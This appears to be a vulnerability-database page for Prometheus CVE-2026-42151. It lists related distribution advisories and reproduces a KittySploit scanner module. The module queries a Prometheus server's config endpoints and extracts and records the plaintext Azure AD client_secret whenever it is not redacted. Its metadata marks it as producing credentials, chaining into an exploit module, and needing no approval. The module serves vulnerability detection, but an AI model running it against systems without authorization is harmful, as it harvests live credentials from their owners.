Prometheus CVE-2026-42151 Secret Disclosure Detect
| Reporter | Title | Published | Views | Family All 1000 |
|---|---|---|---|---|
| CVE-2026-42151 | 4 May 202618:12 | – | attackerkb | |
| AlmaLinux 10 : opentelemetry-collector (ALSA-2026:34357) | 7 Jul 202600:00 | – | nessus | |
| AlmaLinux 9 : opentelemetry-collector (ALSA-2026:34359) | 7 Jul 202600:00 | – | nessus | |
| Rocky Linux 10.2 [CIQ] Security Update: opentelemetry-collector Multiple Vulnerabilities (crlsa-2026_34357) | 1 Oct 202600:00 | – | nessus | |
| Rocky Linux 9 [CIQ] Security Update: opentelemetry-collector Multiple Vulnerabilities (crlsa-2026_34359) | 1 Oct 202600:00 | – | nessus | |
| Fedora 43 : prometheus (2026-dfc0e362e6) | 22 Jun 202600:00 | – | nessus | |
| Fedora 44 : prometheus (2026-ebaf2bfd71) | 22 Jun 202600:00 | – | nessus | |
| MiracleLinux 9 : opentelemetry-collector-0.152.1-1.el9_8 (AXSA:2026-1458:04) | 5 Aug 202600:00 | – | nessus | |
| RHEL 10 : opentelemetry-collector (RHSA-2026:34357) | 1 Jul 202600:00 | – | nessus | |
| RHEL 9 : opentelemetry-collector (RHSA-2026:34359) | 1 Jul 202600:00 | – | nessus |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Detect Prometheus CVE-2026-42151 Azure AD client_secret plaintext exposure."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.scanner.http.response_validation import parse_json_response
class Module(Scanner, Http_client):
__info__ = {
"name": "Prometheus CVE-2026-42151 Secret Disclosure Detect",
"description": (
"Detects CVE-2026-42151 in Prometheus 2.48.0–3.5.2 and 3.6.0–3.11.2: "
"OAuthConfig.ClientSecret was a plain Go string instead of config_util.Secret, "
"so /api/v1/status/config and /-/config emit the real Azure AD client_secret "
"instead of redacting it as '<secret>'."
),
"author": ["KittySploit Team"],
"severity": "high",
"cve": ["CVE-2026-42151"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-42151",
"https://www.cve.org/CVERecord?id=CVE-2026-42151",
],
"modules": ["auxiliary/admin/http/prometheus_cve_2026_42151_info_disclosure"],
"tags": [
"web",
"scanner",
"prometheus",
"monitoring",
"info-disclosure",
"credentials",
"azure",
"oauth",
"cve-2026-42151",
"vuln",
],
"agent": {
"risk": "active",
"effects": ["network_probe"],
"expected_requests": 2,
"reversible": True,
"approval_required": False,
"produces": ["tech_hints", "risk_signals", "credentials", "exploit_paths"],
"cost": 1.0,
"noise": 0.3,
"value": 1.0,
"requires": {
"tech_hints_any": ["prometheus"],
"endpoint_pattern_any": ["/api/v1/status/config", "/-/config"],
},
"chain": {
"produces_capabilities": [
{"capability": "info_disclosure", "from_detail": "config endpoint leak"},
{"capability": "credentials", "from_detail": "azure client_secret"},
],
"suggested_followups": [
"auxiliary/admin/http/prometheus_cve_2026_42151_info_disclosure",
],
},
},
}
port = OptPort(9090, "Prometheus HTTP port", True)
ssl = OptBool(False, "Use HTTPS", True, advanced=True)
def run(self):
base = (self.path or "/").rstrip("/")
endpoints = [
f"{base}/api/v1/status/config" if base else "/api/v1/status/config",
f"{base}/-/config" if base else "/-/config",
]
raw_yaml = None
used_path = None
for path in endpoints:
try:
response = self.http_request(
method="GET",
path=path,
allow_redirects=False,
timeout=int(self.timeout or 10),
)
except Exception as exc:
print_status(f"CVE-2026-42151 probe failed on {path}: {exc.__class__.__name__}")
continue
if not response or int(response.status_code or 0) != 200:
continue
if "status/config" in path:
body, err = parse_json_response(response)
if err or not body:
raw_yaml = response.text or ""
else:
raw_yaml = (body.get("data") or {}).get("yaml") or response.text or ""
else:
raw_yaml = response.text or ""
used_path = path
break
if not raw_yaml:
return False
match = re.search(r"client_secret:\s*(.+)", raw_yaml)
if not match:
print_status("CVE-2026-42151 no client_secret in config (Azure AD OAuth may be unset)")
return False
secret_value = match.group(1).strip().strip("'\"")
if secret_value == "<secret>":
print_status("CVE-2026-42151 client_secret redacted — patched")
return False
reason = (
f"CVE-2026-42151: Azure AD client_secret leaked in plaintext via {used_path}"
)
print_status("CVE-2026-42151 vuln=True client_secret=plaintext")
self.set_info(
severity="high",
reason=reason,
vulnerable=True,
cve="CVE-2026-42151",
path=used_path,
client_secret=secret_value,
)
return True
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08 Aug 2026 16:40Current
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Vulners AI Score8.3
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